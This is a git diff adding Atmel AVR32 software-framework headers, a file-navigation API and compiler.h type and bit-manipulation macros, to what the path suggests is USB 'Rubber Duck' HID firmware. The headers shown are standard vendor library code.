+//! FS_FIND_NEXT, move to next file or directory +//! FS_FIND_PREV, move to previous file or directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! Note: if no file is selected then nav_filelist_set( 0 , FS_NEXT ) goes to the first entry of the file list. +//! @endverbatim +//! +Bool nav_filelist_set( uint16_t u16_nb , Bool b_direction ); + +//! This function returns the position of selected file in file list +//! +//! @return position of selected file (0 is the first position) +//! @return FS_NO_SEL, in case of no file selected +//! +uint16_t nav_filelist_get( void ); + +//! This function goes at a position in file list +//! +//! @param u16_newpos new position to select (0 is the first position) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_goto( uint16_t u16_newpos ); + +//! This function searchs a file name in file list +//! +//! @param sz_name name to search (UNICODE or ASCII)
+//! It must be terminate by NULL or '*' value +//! @param b_match_case false to ignore the case +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This function starts a search at the next position of the current in file list +//! @endverbatim +//! +Bool nav_filelist_findname( const FS_STRING sz_name , Bool b_match_case ); + +//! This function checks the end of file list +//! +//! @return false, NO end of file list +//! @return true, in case of end of list or error +//! +Bool nav_filelist_eol( void ); + +//! This function checks the beginning of file list +//! +//! @return false, it is not the beginning of file list +//! @return true, in case of the file selected is the first file, or in case of error +//! +Bool nav_filelist_bol( void ); + +//! This function checks the presence of files or directories in file list +//! +//! @param b_type FS_DIR to check the directory presence
+//! FS_FILE to check the file presence
+//! +//! @return true, in case of a file or a directory exists +//! @return false, in case of no file or no directory exists, or error +//! +Bool nav_filelist_exist( Bool b_type ); + +//! This function computes the number of files or directories in file list +//! +//! @param b_type FS_DIR to compute the number of directories
+//! FS_FILE to compute the number of files
+//! +//! @return number of files or directories in file list +//! +uint16_t nav_filelist_nb( Bool b_type ); + +//! This function goes to at the first file or directory in file list +//! +//! @param b_type FS_DIR to go at the first directory
+//! FS_FILE to go at the first file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_first( Bool b_type ); + +//! This function goes to at the last file or directory in file list +//! +//! @param b_type FS_DIR to go at the last directory
+//! FS_FILE to go at the last file
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_filelist_last( Bool b_type ); + +//********************************************************************** +//************************ Index functions ***************************** + + +//! This function returns a small index on the selected file +//! +//! @return It is a small index structure with information on selected file (disk, partition, dir, file/dir selected) +//! +//! @verbatim +//! This routine is interresting to save a file position in small variable. +//! This pointer allow to reinit a navigator quickly with nav_gotoindex() routine. +//! @endverbatim +//! +Fs_index nav_getindex( void ); + +//! This function selects a file in the navigator via a file index +//! +//! @param index structure with information about file to select (disk, partition, dir, file/dir selected ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! This routine allow to reinit a navigator quickly via a file index (disk, partition, dir, file/dir selected ) +//! To get a file index, you shall used the routine nav_getindex(). +//! @endverbatim +//! +Bool nav_gotoindex( const Fs_index _MEM_TYPE_SLOW_ *index ); + +//********************************************************************** +//************************ Directory functions ************************* + + +//! This function initializes the file list on the root directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_root( void ); + +//! This function check the current directory +//! +//! @return false the current directory selected is not the root directory +//! @return true the current directory selected is the root directory +//! +Bool nav_dir_is_root( void ); + +//! This function enters in the selected directory in file list +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine the file list changes and contains the files and directories of the new directory. +//! By default no file is selected. +//! @endverbatim +//! +Bool nav_dir_cd( void ); + +//! This function goes to the parent directory +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After, the file list changes and contains the files and directories of the new directory. +//! By default, the file selected in file list is the previous (children) directory. +//! @endverbatim +//! +Bool nav_dir_gotoparent( void ); + +//! This function returns the directory name corresponding at the file list +//! +//! @param sz_path string to store the name (ASCII or UNICODE ) +//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_name( FS_STRING sz_path , uint8_t u8_size_max ); + +//! This function creates a directory in the directory corresponding at file list +//! +//! @param sz_name directory name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_dir_make( const FS_STRING sz_name ); + +//! This function returns the full path of the selection +//! +//! @param sz_path string to store the path (ASCII or UNICODE ) +//! @param u8_size_path string size (unit ASCII or UNICODE ) +//! @param b_view_file_select true, to include in path the selected file name +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_getcwd( FS_STRING sz_path , uint8_t u8_size_path , Bool b_view_file_select ); + +//! This function selects a disk position via a path +//! +//! @param sz_path path string (ASCII or UNICODE ) +//! @param b_match_case false to ignore the case +//! @param b_create true, if path no exists then create it
+//! false, no create path
+//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! The syntact "./../../file_name" is supported. +//! With syntact "./dir_parent/directory_name" the file list corresponding at "dir_parent" and "directory_name" is selected. +//! With syntact "./dir_parent/directory_name/" the file list corresponding at "directory_name" and no file is selected. +//! @endverbatim +//! +Bool nav_setcwd( FS_STRING sz_path , Bool b_match_case , Bool b_create ); + + +//********************************************************************** +//*********************** File control functions *********************** + + +//! This function returns the name of selected file +//! +//! @param sz_name string to store the name file (ASCII or UNICODE )
+//! @param u8_size_max string size (unit ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_getname( FS_STRING sz_name, uint8_t u8_size_max ); + +//! This function returns the name of selected file or checks the string with the name of selected file +//! +//! @param b_mode action mode:
+//! FS_NAME_GET to get the name of selected file
+//! FS_NAME_CHECK to check the name of selected file
+//! @param sz_name if FS_NAME_GET then string to store the file name (ASCII or UNICODE )
+//! if FS_NAME_CHECK then string to match with file name (ASCII or UNICODE), +//! it must be terminated by NULL or '*' value
+//! @param b_match_case false, ignore the case (only used in "FS_NAME_CHECK" action) +//! +//! @param u8_size_max string size (unit ASCII or UNICODE ), only used in "FS_NAME_GET" action +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_name( FS_STRING sz_name , uint8_t u8_size_max , Bool b_mode , Bool b_match_case ); + +//! This function returns the size of selected file (unit byte) +//! +//! @return Size of selected file (unit byte) +//! +uint32_t nav_file_lgt( void ); + +//! This function returns the size of selected file (unit sector) +//! +//! @return Size of selected file (unit 512B) +//! +uint16_t nav_file_lgtsector( void ); + +//! This function checks the write protection of disk and the attribut "read only" of selected file +//! +//! @return false, it is possible to modify the selected file +//! @return true, in other case +//! +Bool nav_file_isreadonly( void ); + +//! This function returns the type of selected file +//! +//! @return true, it is a directory +//! @return false, in other case +//! +Bool nav_file_isdir( void ); + +//! This function checks the extension of selected file +//! +//! @param sz_filterext extension filter (ASCII format, e.g.: "txt" or "txt,d*,wk" ) +//! +//! @return true, the file extension match with extension filter +//! @return false, in other case +//! +Bool nav_file_checkext( const FS_STRING sz_filterext ); + +//! This function returns the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string (>17B) to store the information about date
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateget( FS_STRING sz_date , Bool type_date ); + +//! This function returns the attribut of selected file +//! +//! @return attribut of selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +uint8_t nav_file_attributget( void ); + +//! This function changes the date of selected file +//! +//! @param type_date FS_DATE_LAST_WRITE, to get the date of last write access
+//! FS_DATE_CREATION, to get the date of file creation +//! @param sz_date ASCCI string contains the date to write
+//! "YYYYMMDDHHMMSSMS" = year, month, day, hour, minute, seconde, miliseconde +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_dateset( const FS_STRING sz_date , Bool type_date ); + +//! This function changes the attribut of selected file +//! +//! @param u8_attribut value to write on selected file, see masks "FS_ATTR_" in fs_com.h file. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_attributset( uint8_t u8_attribut ); + +//! This function deletes the selected file or directory +//! +//! @param b_only_empty true, delete the directory only if empty
+//! false, delete directories and files include in selected directory
+//! If the selection is not a directory then this param is ignored. +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_del( Bool b_only_empty ); + +//! This function renames the selected directory or file +//! +//! @param sz_name new name (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +Bool nav_file_rename( const FS_STRING sz_name ); + +//! This function creates a file with NULL size and NULL attribut +//! +//! @param sz_name file name to create (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you ues this routine to create a file, then you must called file_open() to open this new file +//! @endverbatim +//! +Bool nav_file_create( const FS_STRING sz_name ); + +//! This function updates the COPY navigator with the selected file +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! If you use the COPY navigator after this routine then the copy information is lost (see FS_NAV_ID_COPYFILE in conf_explorer.h). +//! @endverbatim +//! +Bool nav_file_copy( void ); + +//! This function pastes the selected file in COPY navigator in the file list of the current navigator +//! +//! @param sz_name file name of the new file (ASCII or UNICODE ) +//! +//! @return false in case of error, see global value "fs_g_status" for more detail +//! @return true otherwise +//! +//! @verbatim +//! After this routine, you shall called nav_file_paste_state() to run and way the copy +//! @endverbatim +//! +Bool nav_file_paste_start( const FS_STRING sz_name ); + +//! This function executes the copy file +//! +//! @param b_stop set true to stop copy action +//! +//! @return copy status
+//! COPY_BUSY, copy running +//! COPY_FAIL, copy fail +//! COPY_FINISH, copy finish +//! +uint8_t nav_file_paste_state( Bool b_stop ); + +#endif // _NAVIGATION_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h new file mode 100755 index 0000000..115d8c5 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/utils/compiler.h @@ -0,0 +1,1220 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Compiler file for AVR32. + * + * This file defines commonly used types and macros. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _COMPILER_AVR32_H_ +#define _COMPILER_AVR32_H_ + +#if (defined __ICCAVR32__) +# include+#endif +#include "preprocessor.h" + +#include "parts.h" + + +//_____ D E C L A R A T I O N S ____________________________________________ + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +#include +#include +#include +#include + + +#if (defined __ICCAVR32__) + +/*! \name Compiler Keywords + * + * Port of some keywords from GNU GCC for AVR32 to IAR Embedded Workbench for Atmel AVR32. + */ +//! @{ +#define __asm__ asm +#define __inline__ inline +#define __volatile__ +//! @} + +#endif + +/** + * \def barrier + * \brief Memory barrier + */ +#if defined(__GNUC__) +# define barrier() asm volatile("" ::: "memory") +#elif defined(__ICCAVR32__) +# define barrier() __asm__ __volatile__ ("") +#endif + +/** + * \brief Emit the compiler pragma \a arg. + * + * \param arg The pragma directive as it would appear after \e \#pragma + * (i.e. not stringified). + */ +#define COMPILER_PRAGMA(arg) _Pragma(#arg) + +/** + * \def COMPILER_PACK_SET(alignment) + * \brief Set maximum alignment for subsequent struct and union + * definitions to \a alignment. + */ +#define COMPILER_PACK_SET(alignment) COMPILER_PRAGMA(pack(alignment)) + +/** + * \def COMPILER_PACK_RESET() + * \brief Set default alignment for subsequent struct and union + * definitions. + */ +#define COMPILER_PACK_RESET() COMPILER_PRAGMA(pack()) + + +/** + * \brief Set aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_ALIGNED(a) __attribute__((__aligned__(a))) +#elif (defined __ICCAVR32__) +#define COMPILER_ALIGNED(a) COMPILER_PRAGMA(data_alignment = a) +#endif + +/** + * \brief Set word-aligned boundary. + */ +#if (defined __GNUC__) +#define COMPILER_WORD_ALIGNED __attribute__((__aligned__(4))) +#elif (defined __ICCAVR32__) +#define COMPILER_WORD_ALIGNED COMPILER_PRAGMA(data_alignment = 4) +#endif + +/** + * \name System Register Access + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Get value of system register + * + * \param reg Address of the system register of which to get the value. + * + * \return Value of system register \a reg. + */ +# define sysreg_read(reg) __builtin_mfsr(reg) + +/** + * \brief Set value of system register + * + * \param reg Address of the system register of which to set the value. + * \param val Value to set the system register \a reg to. + */ +# define sysreg_write(reg, val) __builtin_mtsr(reg, val) + +#elif defined(__ICCAVR32__) +# define sysreg_read(reg) __get_system_register(reg) +# define sysreg_write(reg, val) __set_system_register(reg, val) +#endif + +// Deprecated definitions +#define Get_system_register(reg) sysreg_read(reg) +#define Set_system_register(reg, val) sysreg_write(reg, val) +//! @} + +#include "interrupt.h" + +/*! \name Usual Types + */ +//! @{ +typedef unsigned char Bool; //!< Boolean. +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +typedef unsigned char bool; //!< Boolean. +#endif +#endif +typedef int8_t S8 ; //!< 8-bit signed integer. +typedef uint8_t U8 ; //!< 8-bit unsigned integer. +typedef int16_t S16; //!< 16-bit signed integer. +typedef uint16_t U16; //!< 16-bit unsigned integer. +typedef uint16_t le16_t; +typedef uint16_t be16_t; +typedef int32_t S32; //!< 32-bit signed integer. +typedef uint32_t U32; //!< 32-bit unsigned integer. +typedef uint32_t le32_t; +typedef uint32_t be32_t; +typedef signed long long int S64; //!< 64-bit signed integer. +typedef unsigned long long int U64; //!< 64-bit unsigned integer. +typedef float F32; //!< 32-bit floating-point number. +typedef double F64; //!< 64-bit floating-point number. +typedef uint32_t iram_size_t; +//! @} + + +/*! \name Status Types + */ +//! @{ +typedef Bool Status_bool_t; //!< Boolean status. +typedef U8 Status_t; //!< 8-bit-coded status. +//! @} + + +/*! \name Aliasing Aggregate Types + */ +//! @{ + +//! 16-bit union. +typedef union +{ + S16 s16 ; + U16 u16 ; + S8 s8 [2]; + U8 u8 [2]; +} Union16; + +//! 32-bit union. +typedef union +{ + S32 s32 ; + U32 u32 ; + S16 s16[2]; + U16 u16[2]; + S8 s8 [4]; + U8 u8 [4]; +} Union32; + +//! 64-bit union. +typedef union +{ + S64 s64 ; + U64 u64 ; + S32 s32[2]; + U32 u32[2]; + S16 s16[4]; + U16 u16[4]; + S8 s8 [8]; + U8 u8 [8]; +} Union64; + +//! Union of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} UnionPtr; + +//! Union of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} UnionVPtr; + +//! Union of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} UnionCPtr; + +//! Union of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef union +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} UnionCVPtr; + +//! Structure of pointers to 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + S64 *s64ptr; + U64 *u64ptr; + S32 *s32ptr; + U32 *u32ptr; + S16 *s16ptr; + U16 *u16ptr; + S8 *s8ptr ; + U8 *u8ptr ; +} StructPtr; + +//! Structure of pointers to volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + volatile S64 *s64ptr; + volatile U64 *u64ptr; + volatile S32 *s32ptr; + volatile U32 *u32ptr; + volatile S16 *s16ptr; + volatile U16 *u16ptr; + volatile S8 *s8ptr ; + volatile U8 *u8ptr ; +} StructVPtr; + +//! Structure of pointers to constant 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const S64 *s64ptr; + const U64 *u64ptr; + const S32 *s32ptr; + const U32 *u32ptr; + const S16 *s16ptr; + const U16 *u16ptr; + const S8 *s8ptr ; + const U8 *u8ptr ; +} StructCPtr; + +//! Structure of pointers to constant volatile 64-, 32-, 16- and 8-bit unsigned integers. +typedef struct +{ + const volatile S64 *s64ptr; + const volatile U64 *u64ptr; + const volatile S32 *s32ptr; + const volatile U32 *u32ptr; + const volatile S16 *s16ptr; + const volatile U16 *u16ptr; + const volatile S8 *s8ptr ; + const volatile U8 *u8ptr ; +} StructCVPtr; + +//! @} + +#endif // __AVR32_ABI_COMPILER__ + + +//_____ M A C R O S ________________________________________________________ + +/*! \name Usual Constants + */ +//! @{ +#define DISABLE 0 +#define ENABLE 1 +#define DISABLED 0 +#define ENABLED 1 +#define OFF 0 +#define ON 1 +#define FALSE 0 +#define TRUE 1 +#ifndef __cplusplus +#if !defined(__bool_true_false_are_defined) +#define false FALSE +#define true TRUE +#endif +#endif +#define KO 0 +#define OK 1 +#define PASS 0 +#define FAIL 1 +#define LOW 0 +#define HIGH 1 +#define CLR 0 +#define SET 1 +//! @} + + +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +//! \name Optimization Control +//@{ + +/** + * \def likely(exp) + * \brief The expression \a exp is likely to be true + */ +#ifndef likely +# define likely(exp) (exp) +#endif + +/** + * \def unlikely(exp) + * \brief The expression \a exp is unlikely to be true + */ +#ifndef unlikely +# define unlikely(exp) (exp) +#endif + +/** + * \def is_constant(exp) + * \brief Determine if an expression evaluates to a constant value. + * + * \param exp Any expression + * + * \return true if \a exp is constant, false otherwise. + */ +#ifdef __GNUC__ +# define is_constant(exp) __builtin_constant_p(exp) +#else +# define is_constant(exp) (0) +#endif + +//! @} + +/*! \name Bit-Field Handling + */ +//! @{ + +/*! \brief Reads the bits of a value specified by a given bit-mask. + * + * \param value Value to read bits from. + * \param mask Bit-mask indicating bits to read. + * + * \return Read bits. + */ +#define Rd_bits( value, mask) ((value) & (mask)) + +/*! \brief Writes the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write bits to. + * \param mask Bit-mask indicating bits to write. + * \param bits Bits to write. + * + * \return Resulting value with written bits. + */ +#define Wr_bits(lvalue, mask, bits) ((lvalue) = ((lvalue) & ~(mask)) |\ + ((bits ) & (mask))) + +/*! \brief Tests the bits of a value specified by a given bit-mask. + * + * \param value Value of which to test bits. + * \param mask Bit-mask indicating bits to test. + * + * \return \c 1 if at least one of the tested bits is set, else \c 0. + */ +#define Tst_bits( value, mask) (Rd_bits(value, mask) != 0) + +/*! \brief Clears the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to clear bits. + * \param mask Bit-mask indicating bits to clear. + * + * \return Resulting value with cleared bits. + */ +#define Clr_bits(lvalue, mask) ((lvalue) &= ~(mask)) + +/*! \brief Sets the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to set bits. + * \param mask Bit-mask indicating bits to set. + * + * \return Resulting value with set bits. + */ +#define Set_bits(lvalue, mask) ((lvalue) |= (mask)) + +/*! \brief Toggles the bits of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue of which to toggle bits. + * \param mask Bit-mask indicating bits to toggle. + * + * \return Resulting value with toggled bits. + */ +#define Tgl_bits(lvalue, mask) ((lvalue) ^= (mask)) + +/*! \brief Reads the bit-field of a value specified by a given bit-mask. + * + * \param value Value to read a bit-field from. + * \param mask Bit-mask indicating the bit-field to read. + * + * \return Read bit-field. + */ +#define Rd_bitfield( value, mask) (Rd_bits( value, mask) >> ctz(mask)) + +/*! \brief Writes the bit-field of a C lvalue specified by a given bit-mask. + * + * \param lvalue C lvalue to write a bit-field to. + * \param mask Bit-mask indicating the bit-field to write. + * \param bitfield Bit-field to write. + * + * \return Resulting value with written bit-field. + */ +#define Wr_bitfield(lvalue, mask, bitfield) (Wr_bits(lvalue, mask, (U32)(bitfield) << ctz(mask))) + +//! @} + + +/*! \brief This macro makes the CPU take a small break for a few cycles. This should + * be used when waiting for an event. It will reduce the internal bus load. + * + * "sub pc, pc, -4" (or "sub pc, -2") forces the IF stage to wait until the result + * of the calculation before it can fetch the next instruction. This makes sure + * there are nothing stuck in the LS pipe when you start a new iteration and guarante + * to flush the pipeline without having any other effect. + * (A nop doesn't have any effect on the IF stage.) + */ +#if (defined __GNUC__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4" ::: "memory", "cc") +#elif (defined __ICCAVR32__) +# define cpu_relax() __asm__ __volatile__("sub pc, pc, -4") +#endif + + +/*! \brief This macro is used to test fatal errors. + * + * The macro tests if the expression is FALSE. If it is, a fatal error is + * detected and the application hangs up. + * + * \param expr Expression to evaluate and supposed to be nonzero. + */ +#ifdef _ASSERT_ENABLE_ + #define Assert(expr) \ + {\ + if (!(expr)) while (TRUE);\ + } +#else + #define Assert(expr) +#endif + + +/*! \name Zero-Bit Counting + * + * Under AVR32-GCC, __builtin_clz and __builtin_ctz behave like macros when + * applied to constant expressions (values known at compile time), so they are + * more optimized than the use of the corresponding assembly instructions and + * they can be used as constant expressions e.g. to initialize objects having + * static storage duration, and like the corresponding assembly instructions + * when applied to non-constant expressions (values unknown at compile time), so + * they are more optimized than an assembly periphrasis. Hence, clz and ctz + * ensure a possible and optimized behavior for both constant and non-constant + * expressions. + */ +//! @{ + +/*! \brief Counts the leading zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the leading zero bits. + * + * \return The count of leading zero bits in \a u. + */ +#if (defined __GNUC__) + #define clz(u) __builtin_clz(u) +#elif (defined __ICCAVR32__) + #if (__VER__ == 330) && (__SUBVERSION__ <= 1) + // __count_leading_zeros is broken and returns a value which is offset by + // -32 when called with a constant parameter. + #define clz(v) (0 == v ? 32 : (31 & __count_leading_zeros(v))) + #else + #define clz(v) __count_leading_zeros(v) + #endif +#endif + +/*! \brief Counts the trailing zero bits of the given value considered as a 32-bit integer. + * + * \param u Value of which to count the trailing zero bits. + * + * \return The count of trailing zero bits in \a u. + */ +#if (defined __GNUC__) + #define ctz(u) __builtin_ctz(u) +#elif (defined __ICCAVR32__) + #define ctz(u) __count_trailing_zeros(u) +#endif + +//! @} + +//! \name Logarithmic functions +//! @{ + +/** + * \internal + * Undefined function. Will cause a link failure if ilog2() is called + * with an invalid constant value. + */ +int_fast8_t ilog2_undefined(void); + +/** + * \brief Calculate the base-2 logarithm of a number rounded down to + * the nearest integer. + * + * \param x A 32-bit value + * \return The base-2 logarithm of \a x, or -1 if \a x is 0. + */ +static inline int_fast8_t ilog2(uint32_t x) +{ + if (is_constant(x)) + return ((x) & (1ULL << 31) ? 31 : + (x) & (1ULL << 30) ? 30 : + (x) & (1ULL << 29) ? 29 : + (x) & (1ULL << 28) ? 28 : + (x) & (1ULL << 27) ? 27 : + (x) & (1ULL << 26) ? 26 : + (x) & (1ULL << 25) ? 25 : + (x) & (1ULL << 24) ? 24 : + (x) & (1ULL << 23) ? 23 : + (x) & (1ULL << 22) ? 22 : + (x) & (1ULL << 21) ? 21 : + (x) & (1ULL << 20) ? 20 : + (x) & (1ULL << 19) ? 19 : + (x) & (1ULL << 18) ? 18 : + (x) & (1ULL << 17) ? 17 : + (x) & (1ULL << 16) ? 16 : + (x) & (1ULL << 15) ? 15 : + (x) & (1ULL << 14) ? 14 : + (x) & (1ULL << 13) ? 13 : + (x) & (1ULL << 12) ? 12 : + (x) & (1ULL << 11) ? 11 : + (x) & (1ULL << 10) ? 10 : + (x) & (1ULL << 9) ? 9 : + (x) & (1ULL << 8) ? 8 : + (x) & (1ULL << 7) ? 7 : + (x) & (1ULL << 6) ? 6 : + (x) & (1ULL << 5) ? 5 : + (x) & (1ULL << 4) ? 4 : + (x) & (1ULL << 3) ? 3 : + (x) & (1ULL << 2) ? 2 : + (x) & (1ULL << 1) ? 1 : + (x) & (1ULL << 0) ? 0 : + ilog2_undefined()); + + return 31 - clz(x); +} + +//! @} + +/*! \name Bit Reversing + */ +//! @{ + +/*! \brief Reverses the bits of \a u8. + * + * \param u8 U8 of which to reverse the bits. + * + * \return Value resulting from \a u8 with reversed bits. + */ +#define bit_reverse8(u8) ((U8)(bit_reverse32((U8)(u8)) >> 24)) + +/*! \brief Reverses the bits of \a u16. + * + * \param u16 U16 of which to reverse the bits. + * + * \return Value resulting from \a u16 with reversed bits. + */ +#define bit_reverse16(u16) ((U16)(bit_reverse32((U16)(u16)) >> 16)) + +/*! \brief Reverses the bits of \a u32. + * + * \param u32 U32 of which to reverse the bits. + * + * \return Value resulting from \a u32 with reversed bits. + */ +#if (defined __GNUC__) + #define bit_reverse32(u32) \ + (\ + {\ + unsigned int __value = (U32)(u32);\ + __asm__ ("brev\t%0" : "+r" (__value) : : "cc");\ + (U32)__value;\ + }\ + ) +#elif (defined __ICCAVR32__) + #define bit_reverse32(u32) ((U32)__bit_reverse((U32)(u32))) +#endif + +/*! \brief Reverses the bits of \a u64. + * + * \param u64 U64 of which to reverse the bits. + * + * \return Value resulting from \a u64 with reversed bits. + */ +#define bit_reverse64(u64) ((U64)(((U64)bit_reverse32((U64)(u64) >> 32)) |\ + ((U64)bit_reverse32((U64)(u64)) << 32))) + +//! @} + + +/*! \name Alignment + */ +//! @{ + +/*! \brief Tests alignment of the number \a val with the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return \c 1 if the number \a val is aligned with the \a n boundary, else \c 0. + */ +#define Test_align(val, n ) (!Tst_bits( val, (n) - 1 ) ) + +/*! \brief Gets alignment of the number \a val with respect to the \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Alignment of the number \a val with respect to the \a n boundary. + */ +#define Get_align( val, n ) ( Rd_bits( val, (n) - 1 ) ) + +/*! \brief Sets alignment of the lvalue number \a lval to \a alg with respect to the \a n boundary. + * + * \param lval Input/output lvalue. + * \param n Boundary. + * \param alg Alignment. + * + * \return New value of \a lval resulting from its alignment set to \a alg with respect to the \a n boundary. + */ +#define Set_align(lval, n, alg) ( Wr_bits(lval, (n) - 1, alg) ) + +/*! \brief Aligns the number \a val with the upper \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the upper \a n boundary. + */ +#define Align_up( val, n ) (((val) + ((n) - 1)) & ~((n) - 1)) + +/*! \brief Aligns the number \a val with the lower \a n boundary. + * + * \param val Input value. + * \param n Boundary. + * + * \return Value resulting from the number \a val aligned with the lower \a n boundary. + */ +#define Align_down(val, n ) ( (val) & ~((n) - 1)) + +//! @} + + +/*! \name Mathematics + * + * The same considerations as for clz and ctz apply here but AVR32-GCC does not + * provide built-in functions to access the assembly instructions abs, min and + * max and it does not produce them by itself in most cases, so two sets of + * macros are defined here: + * - Abs, Min and Max to apply to constant expressions (values known at + * compile time); + * - abs, min and max to apply to non-constant expressions (values unknown at + * compile time). + */ 